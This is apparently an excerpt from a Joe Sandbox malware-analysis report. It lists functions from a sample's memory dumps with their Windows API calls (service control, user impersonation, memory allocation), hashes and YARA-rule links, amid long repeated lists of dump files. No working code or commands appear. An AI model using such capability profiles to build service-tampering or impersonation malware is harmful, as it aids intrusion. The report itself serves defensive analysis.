Associated: 00000005.00000002.2419290879.0000000000C23000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419316485.0000000000C25000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419342074.0000000000C26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419366828.0000000000C28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419392306.0000000000C29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419417804.0000000000C2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419447247.0000000000C38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419474862.0000000000C3C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419500508.0000000000C3D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419527408.0000000000C42000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419552900.0000000000C43000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419578470.0000000000C4A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419606444.0000000000C52000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419632816.0000000000C53000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419659089.0000000000C5B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419685773.0000000000C5E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419711470.0000000000C5F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419737168.0000000000C62000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419764815.0000000000C6A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419790681.0000000000C6D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419815801.0000000000C6E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419840879.0000000000C70000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419909617.0000000000C73000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419941576.0000000000C75000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419992380.0000000000C7E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420514997.0000000000C7F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420704501.0000000000C8C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420807864.0000000000C8F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420879183.0000000000C90000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420956320.0000000000C93000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421021764.0000000000C94000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421081635.0000000000C96000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CD7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CDD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421236726.0000000000CEC000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421338852.0000000000CEE000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a30000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c3b704a79bae3cfa0205e6db8787e3f909ce3a39659fafec96b3afbfe2f7ea
Instruction ID: a8b174341a61339c56d5e000679ade52fa7ffc440b7f37690a4fa52f48578d4d
Opcode Fuzzy Hash: 83c3b704a79bae3cfa0205e6db8787e3f909ce3a39659fafec96b3afbfe2f7ea
Instruction Fuzzy Hash: 03E0D163624521CFD3165B3EC8543B073F3A7E6353F155661F391862D9E7AC44826331

Function 00A3E9FC Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 39
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00A3F67B

Strings

<~on, xrefs: 00A3EAD0

Memory Dump Source

Source File: 00000005.00000002.2418852474.0000000000A3A000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000005.00000002.2418777284.0000000000A30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418802394.0000000000A32000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418827187.0000000000A36000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418879535.0000000000A46000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419002511.0000000000BA0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419029279.0000000000BA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419062316.0000000000BBC000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419062316.0000000000BC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419116927.0000000000BD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419142588.0000000000BD4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419169386.0000000000BDE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419195513.0000000000BE4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419227274.0000000000BFF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419259967.0000000000C12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419290879.0000000000C23000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419316485.0000000000C25000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419342074.0000000000C26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419366828.0000000000C28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419392306.0000000000C29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419417804.0000000000C2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419447247.0000000000C38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419474862.0000000000C3C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419500508.0000000000C3D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419527408.0000000000C42000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419552900.0000000000C43000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419578470.0000000000C4A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419606444.0000000000C52000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419632816.0000000000C53000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419659089.0000000000C5B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419685773.0000000000C5E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419711470.0000000000C5F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419737168.0000000000C62000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419764815.0000000000C6A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419790681.0000000000C6D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419815801.0000000000C6E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419840879.0000000000C70000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419909617.0000000000C73000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419941576.0000000000C75000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419992380.0000000000C7E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420514997.0000000000C7F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420704501.0000000000C8C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420807864.0000000000C8F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420879183.0000000000C90000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420956320.0000000000C93000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421021764.0000000000C94000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421081635.0000000000C96000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CD7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CDD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421236726.0000000000CEC000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421338852.0000000000CEE000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a30000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: AllocVirtual
String ID: <~on
API String ID: 4275171209-2377770600
Opcode ID: bd16778d5b37cef4277df821d43769d3c858f66935b634d63a56175004e8a307
Instruction ID: c0856a6aa282deabd918672069500f2e57bace32889f7f7ad678e9dc2b17f409
Opcode Fuzzy Hash: bd16778d5b37cef4277df821d43769d3c858f66935b634d63a56175004e8a307
Instruction Fuzzy Hash: 8A0125B141C709EFD3046F14C4491AEBBF0FF90B51F26892DE0D687690D6714C80DB4A

Function 047B15C4 Relevance: 1.8, APIs: 1, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 047B18C8

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: eed49a3dc6c61df5341dd84e7b2f2a16a1655f4deff95a8a665dac3acafa9254
Instruction ID: acd3ff384196d895ec4a50cf2f24f8c80074f413d17f31079314123e22e9e43b
Opcode Fuzzy Hash: eed49a3dc6c61df5341dd84e7b2f2a16a1655f4deff95a8a665dac3acafa9254
Instruction Fuzzy Hash: 5DC17970D002999FEB10CFA8C8657EEBBB1FB45394F548129EC95E7384DB74A881CB81

Function 00BBFF19 Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BBFF19

Memory Dump Source

Source File: 00000005.00000002.2419062316.0000000000BBC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000005.00000002.2418777284.0000000000A30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418802394.0000000000A32000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418827187.0000000000A36000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418852474.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418879535.0000000000A46000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419002511.0000000000BA0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419029279.0000000000BA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419062316.0000000000BC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419116927.0000000000BD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419142588.0000000000BD4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419169386.0000000000BDE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419195513.0000000000BE4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419227274.0000000000BFF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419259967.0000000000C12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419290879.0000000000C23000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419316485.0000000000C25000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419342074.0000000000C26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419366828.0000000000C28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419392306.0000000000C29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419417804.0000000000C2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419447247.0000000000C38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419474862.0000000000C3C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419500508.0000000000C3D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419527408.0000000000C42000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419552900.0000000000C43000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419578470.0000000000C4A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419606444.0000000000C52000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419632816.0000000000C53000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419659089.0000000000C5B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419685773.0000000000C5E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419711470.0000000000C5F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419737168.0000000000C62000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419764815.0000000000C6A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419790681.0000000000C6D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419815801.0000000000C6E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419840879.0000000000C70000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419909617.0000000000C73000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419941576.0000000000C75000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419992380.0000000000C7E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420514997.0000000000C7F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420704501.0000000000C8C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420807864.0000000000C8F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420879183.0000000000C90000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420956320.0000000000C93000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421021764.0000000000C94000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421081635.0000000000C96000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CD7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CDD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421236726.0000000000CEC000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421338852.0000000000CEE000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a30000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 83386c2fcfc5503f5777962d421520269f7663b1596b9ba2c85d0f208abb8b08
Instruction ID: 9069dac99157a9e68ce53aee44d6ab7a81933154a3709215b0dbd8ec4406058a
Opcode Fuzzy Hash: 83386c2fcfc5503f5777962d421520269f7663b1596b9ba2c85d0f208abb8b08
Instruction Fuzzy Hash: 464108B251C300AFE345AF19D885BBEB7E8EF54721F164C2DE6C482600D77598808BAB

Function 00BC00C6 Relevance: 1.6, APIs: 1, Instructions: 117
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00BC00C6

Memory Dump Source

Source File: 00000005.00000002.2419062316.0000000000BBC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000005.00000002.2418777284.0000000000A30000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418802394.0000000000A32000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418827187.0000000000A36000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418852474.0000000000A3A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2418879535.0000000000A46000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419002511.0000000000BA0000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419029279.0000000000BA2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419062316.0000000000BC7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419116927.0000000000BD2000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419142588.0000000000BD4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419169386.0000000000BDE000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419195513.0000000000BE4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419227274.0000000000BFF000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419259967.0000000000C12000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419290879.0000000000C23000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419316485.0000000000C25000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419342074.0000000000C26000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419366828.0000000000C28000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419392306.0000000000C29000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419417804.0000000000C2A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419447247.0000000000C38000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419474862.0000000000C3C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419500508.0000000000C3D000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419527408.0000000000C42000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419552900.0000000000C43000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419578470.0000000000C4A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419606444.0000000000C52000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419632816.0000000000C53000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419659089.0000000000C5B000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419685773.0000000000C5E000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419711470.0000000000C5F000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419737168.0000000000C62000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419764815.0000000000C6A000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419790681.0000000000C6D000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419815801.0000000000C6E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419840879.0000000000C70000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419909617.0000000000C73000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419941576.0000000000C75000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2419992380.0000000000C7E000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420514997.0000000000C7F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420704501.0000000000C8C000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420807864.0000000000C8F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420879183.0000000000C90000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2420956320.0000000000C93000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421021764.0000000000C94000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421081635.0000000000C96000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CD7000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421141824.0000000000CDD000.00000080.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421236726.0000000000CEC000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2421338852.0000000000CEE000.00000080.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_a30000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3baf436c0e7d6a1addba843891e313dc3aaf1c52ce7e82c0b7396bfd712b7b81
Instruction ID: 4c641b989ff2505d8c5c0f9a58ab296fbb93cb26e5b5798bb92fc7098faf10ea
Opcode Fuzzy Hash: 3baf436c0e7d6a1addba843891e313dc3aaf1c52ce7e82c0b7396bfd712b7b81
Instruction Fuzzy Hash: 75316DF240C600AFE705BF19E882B79FBE8FF55320F16482DE6C582600E37644949BA3

Function 047B0D43 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 047B0DCD

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 20270792284906a062261b6b2e60929e82302813750d05b39be9714bd1e0a5b4
Instruction ID: 8baad420d9196044300bd7762b50b85496a5f15b514f53c3e31b5e6bb431d351
Opcode Fuzzy Hash: 20270792284906a062261b6b2e60929e82302813750d05b39be9714bd1e0a5b4
Instruction Fuzzy Hash: 602134B6C002489FCB50CF99D884BDEFBB4EF88320F14811AE908AB344D734A540CBA4

Function 047B0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 047B0DCD

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 98d66252458c022df99123085263604e150dc352facc42befa20b57c72dbe4d5
Instruction ID: e795d9c91db54730b0e6c2d3061acdea510c57a76005b65456589aeaabaa7357
Opcode Fuzzy Hash: 98d66252458c022df99123085263604e150dc352facc42befa20b57c72dbe4d5
Instruction Fuzzy Hash: 8B2102B68012589FCB50CF99D884BDEFBB4EB88720F14821AE908AB344D774A540CBA5

Function 047B1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 047B1580

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 59dec68b058a093f4dd28da7617921919054f518678070646f95e11e99c1358a
Instruction ID: a18fe193fcfee7f3793f1437466f8751d940b4cee6a4aecf526a5d258babe0f3
Opcode Fuzzy Hash: 59dec68b058a093f4dd28da7617921919054f518678070646f95e11e99c1358a
Instruction Fuzzy Hash: 4A21F2B19002499FDB10CF9AC484BEEFBF4EF48360F10802AE559A7240D378A644CFA5

Function 047B1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 047B1580

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 503b8ea963659bb5d1deeae851b94c324e6ef286e31da769ad9b612e44cff873
Instruction ID: cacf22fbe2a05415a2bbb80f591539df9a33fe4044587069e344c1530f5f3516
Opcode Fuzzy Hash: 503b8ea963659bb5d1deeae851b94c324e6ef286e31da769ad9b612e44cff873
Instruction Fuzzy Hash: D211E4B19002499FDB10CF9AC584BDEFBF4EF48360F108029E559A3250D378A644CFA5

Function 047B1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 047B1367

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 4fb2f13234c8e0a5fe8cad61a6751563fd113b3553ee5ee9ff0dd8f6ec721876
Instruction ID: 1b9683371f85418ec7bd68be24b689ac2f5af82369750308dae1ca98ff2712c5
Opcode Fuzzy Hash: 4fb2f13234c8e0a5fe8cad61a6751563fd113b3553ee5ee9ff0dd8f6ec721876
Instruction Fuzzy Hash: E71102B28002498FDB10DF9AC544BEEBBF8EB49720F14842AD958A3640D778A944CBA5

Function 047B1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 047B1367

Memory Dump Source

Source File: 00000005.00000002.2426013744.00000000047B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 047B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_47b0000_QDDSFWH7TPMYGYIMIOWX7SBOU5.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 20c9b76f1c2fd2a4b0716893f948ff4a53cd75aee542a6842ae5694f2e1cf600
Instruction ID: e49fb6f9302d332d93b40184c3660a107a0543553fcd8c41f25043458a2b6a95
Opcode Fuzzy Hash: 20c9b76f1c2fd2a4b0716893f948ff4a53cd75aee542a6842ae5694f2e1cf600
Instruction Fuzzy Hash: 5E1122B18002498FDB10CF9AC444BEEBBF8EB48320F20842AD558A3240D778A944CBA5

Function 00BC25AB Relevance: 1.5, APIs: 1, Instructions: 35
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

